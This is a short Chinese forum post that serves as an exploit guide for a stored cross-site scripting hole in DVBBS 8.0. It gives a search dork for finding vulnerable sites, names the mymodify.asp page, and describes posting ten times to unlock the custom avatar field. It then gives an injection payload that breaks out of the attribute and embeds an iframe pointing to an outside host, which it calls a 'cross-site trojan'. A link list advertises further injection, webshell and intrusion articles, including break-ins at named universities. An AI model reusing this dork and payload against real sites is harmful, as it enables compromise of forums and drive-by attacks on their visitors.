搜索关键词:powered by DVbbs versin 8.0.0
存在漏洞页面:mymodify.asp打开DVBBS 8.0.再注册一个帐号。
自定义头像地址:
您现在的发帖数为[0]篇,如果小于[10]篇则以上地址无效!
呵,所以先发10篇文章才能更改自定义头像.用户控制面板 → 基本资料修改 → 自定义头像地址:
插入你的跨站木马 :
|
以下是引用片段: "/> <iframe src=http://hi.baidu.com/%CE%A4%BD%AD%B4%FA width=400 height=300></iframe> |
| 动网8.0最新漏洞 | 07-11 | |
| LBS blog又一注射漏洞含漏洞解析 | 07-04 | |
| BBSxp 2007 注射漏洞 | 07-02 | |
| 淘宝taobao 跨站 XSS 漏洞 | 06-29 | |
| LBS blog sql注射漏洞(统杀所有版 | 06-29 | |
| 最新QQ 163 126 等邮箱跨站挂马代 | 06-18 | |
| 入侵清华大学全过程 | 06-14 | |
| 入侵复旦大学 | 06-14 | |
| Ajax时代 SQL注入依然存在 | 06-13 | |
| PJblog跨站漏洞利用及修补 | 06-11 | |
| 从注入到拿WEBSHELL(BBSXP7 mssq | 06-11 | |
| 对国内主流邮箱的跨站测试 | 06-09 | |